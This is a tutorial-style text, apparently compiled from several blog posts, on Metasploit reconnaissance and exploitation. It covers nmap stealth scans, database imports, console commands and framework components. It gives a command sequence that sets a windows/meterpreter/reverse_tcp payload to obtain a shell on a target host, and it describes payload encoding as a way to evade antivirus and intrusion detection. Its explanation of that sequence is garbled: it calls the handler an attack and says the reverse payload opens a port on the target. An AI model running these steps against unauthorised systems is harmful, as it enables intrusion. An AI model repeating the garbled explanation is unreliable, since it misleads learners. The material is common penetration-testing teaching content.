Information Gathering with Metasploit !

Your goals during intelligence gathering should be to gain

accurate information about your targets without revealing

your presence or your intentions, to learn how the

organization operates, and to determine the best route

of entry.

If you don’t do a thorough job of intelligence gathering, you may

miss vulnerable systems.

It takes time and patience to

sort through web pages, perform Google hacking, and map systems

thoroughly in an attempt to understand the infrastructure of a

particular target.

At this step, you will attempt to collect

as much information about the target environment as possible.

 Port Scanning :

we conduct port scans for open ports on

the target or conduct scans to determine what services are running.

Each system or running service that we discover gives us another

opportunity for exploitation. But beware: If you get careless while

active information gathering, you might be nabbed by an IDS or

intrusion prevention system (IPS)—not a good outcome for the covert

penetration tester.

Nmap is, by far, the most popular port scanning tool. It integrates

with Metasploit quite elegantly, storing scan output in a database.

Nmap lets you scan hosts to identify the services running on each,

any of which might offer a way in.

Nmap has a quite a few options, but we’ll use just a few of them for

the most part.

One of our preferred nmap options is -sS. This runs a stealth TCP scan

that determines whether a specific TCP-based port is open. Another

preferred option is -Pn, which tells nmap not to use ping to determine

whether a system is running; instead, it considers all hosts “alive.”

Now let’s run a quick nmap scan against a target using

both the -sS and -Pn flags:

root@kali:~# nmap -sS -Pn 127.0.0.1

When scan is completed, nmap reports a list of open ports, along with

a description of the associated service for each.

For more detail, try using the -A flag. This option will attempt

advanced service enumeration and banner grabbing, which may give you

even more details about the target system.

root@kali:~# nmap -Pn -sS -A 127.0.0.1

Working with Databases in Metasploit :

When you’re running a complex penetration test with a lot of targets,

keeping track of everything can be a challenge. Luckily, Metasploit

has you covered with expansive support for multiple database systems.

To ensure that database support is available for your system, you should

first decide which database system you want to run. Metasploit supports

MySQL and PostgreSQL; because PostgreSQL is the default, we’ll stick with

it in this discussion.

First, we start the database subsystem using the built-in kali-linux

init.d scripts.

root@kali~# /etc/init.d/postgresql-8.3 start

After PostgreSQL has started, we tell the Framework to connect to the

database instance. This connection requires a username, password, name of

the host on which the database is running, and the database name we want to

use.

Let’s make the connection.

msf > db_connect postgres:toor@127.0.0.1/msfbook

For now, we’ll use db_status to make sure that we’re connected

correctly.

Intelligence Gathering 21

msf > db_status
[*] postgresql connected to msfbook

Importing Nmap Results into Metasploit :

First, we scan the target machine using the -oX option to generate

a Subnet1.xml file:

nmap -Pn -sS -A -oX Subnet1 192.168.1.0

After generating the XML file, we use the db_import command to import

it into our database. We can then verify that the import worked by using the

db_hosts command, which lists the systems entries that have been created, as

shown here:

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import Subnet1.xml
msf > db_hosts -c address

How to use Metasploit !

Metasploit is the most advanced and popular Framework that can be used

for pen-testing.

Metasploit is a hacking framework written in ruby. It is designed to

help make writing and executing exploits as simple as possible.

Running Metasploit :

Metasploit should already be installed on the machine that you’re

( I am Using Kali-linux) using, so to start the console, simply run  msfconsole.

To run msfconsole, open terminal and give the command:

msfconsole

Before executing your exploit, it is useful to understand what some

Metasploit commands do.

Here are the lists of some of the command that you will use most :

use exploitname              

Tells Metasploit to use the exploit with   a specified name.

set RHOST hostname_or_ip     

Will instruct Metasploit to target the specified remote host.

set RPORT host_port          

Sets the port that Metasploit will connect to on the remote host.

set PAYLOAD generic/shell_bind_tcp   

Sets the payload that is used   to a generic payload that will give you a shell when a

service  is exploited.

set LPORT local_port        

 Sets the port number that the payload will open on the server when an exploit

 is exploited. It is important that this  port number be a port that can be opened

 on the server (i.e.it is not in use by another service and not reserved for

administrative use).

exploit                  

 Actually exploits the service. Another version of exploit, rexploit reloads your

 exploit code and then executes the exploit. This allows you to try minor changes to

 your exploit code without restarting the console.

show options             

 Will show you options that you have set and possibly ones that you might have forgotten

 to set. Each exploit and payload comes with  its own options that you can set. show

exploits and show payloads can also be used  to show all exploits and payloads that are

 built in to Metasploit.

Ohk now i will show you how to use that commands.

set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 1337
use exploit/multi/handler
set RHOST 198.168.2.3
set RPORT 1337
exploit

The commands use the exploit/multi/handler exploit to
attack 198.168.2.3 on port 1337 with the 
windows/meterpreter/reverse_tcp  payload. When it is successful it will
open port 1337 on the target machine and Metasploit will show you a 
shell.

Metasploit Fundamentals : Technology Overview !

Metasploit is the most advanced and popular Framework that can be used

for pen-testing.

Metasploit Framework :

                               

From the above pic,

You can see the main components of the framework architecture are:

Rex
Framework Core
Framework Base
Interfaces
Modules
Plugins

Interfaces : -

Metasploit offers more than one interface to its underlying

functionality, including console, command line, and graphical

interfaces.

MSFconsole :

Msfconsole is by far the most popular part of the Metasploit Framework

Starting MSFconsole

To launch msfconsole, enter msfconsole at the command line.

Tab Completion :

Tab completion depends on the ruby readline extension and nearly every

command in the console supports tab completion.

        use exploit/windows/dce
        use .*netapi.*
        set LHOST
        show
        set TARGET
        set PAYLOAD windows/shell/
        exp

MSFcli :

Msfcli and msfconsole take very different approaches to providing

access to the Framework.

msfcli runs directly from the command line, which allows you to

redirect output from other tools into msfcli and direct msfcli output

to other command-line tools.

Benefits of mscli :

 Supports the launching of exploits and auxiliary modules 
 Convenient to use when testing or developing a new exploit
 Good tool for one-off exploitation
 Excellent if you know exactly which exploit and options you need
 Wonderful for use in scripts and basic automation

Armitage :

The armitage component of Metasploit is a fully interactive graphical

user interface.

Running Armitage

To launch armitage, run the command armitage.

After armitage is running, simply click a menu to perform a particular

attack or access other Metasploit functionality

Metasploit Utilities:

MSFpayload:

The msfpayload component of Metasploit allows you to generate shellcode,

executables, and much more for use in exploits outside of the Framework.

Shellcode can be generated in many formats including C, Ruby,

JavaScript, and even Visual Basic for Applications.

MSFencode:

The shellcode generated by msfpayload is fully functional, but it

contains several null characters that, when interpreted by many

programs, signify the end of a string, and this will cause the code to

terminate before completion.

In other words, those x00s and xffs can break your payload!

To avoid detection ,Metasploit’s developers offer msfencode, which

helps you to avoid bad characters and evade antivirus and IDSs by

encoding the original payload in a way that does not include “bad”

characters. Enter msfencode -h to see a list of msfencode options.

Exploits:

An exploit is the means by which an attacker, or pen tester for that

matter, takes advantage of a flaw within a system, an application, or a

service. An attacker uses an exploit to attack a system in a way that

results in a particular desired outcome that the developer never

intended.

All exploits in the Metasploit Framework will fall into two categories:

active and passive.

Active Exploits

Active exploits will exploit a specific host, run until completion, and

then exit.

   Brute-force modules will exit when a shell opens from the victim.

   Module execution stops if an error is encountered.

   You can force an active module to the background by passing '-j' to

   the exploit command.

 Passive Exploits

Passive exploits wait for incoming hosts and exploit them as they

connect.

  Passive exploits almost always focus on clients such as web browsers,

  FTP clients, etc.

  They can also be used in conjunction with email exploits, waiting for

  connections.

  Passive exploits report shells as they happen can be enumerated by

  passing '-l' to the sessions command. Passing '-i' will interact with a shell.

Payloads :

A payload is code that we want the system to execute and that is to be

selected and delivered by the Framework

There are three different types of payload module types in Metasploit:

Singles, Stagers, and Stages.

Databases :

When conducting a penetration test, it is frequently a challenge to

keep track of everything you have done to the target network. This is

where having a database configured can be a great time saver. Metasploit

has built-in support for the PostgreSQL database system.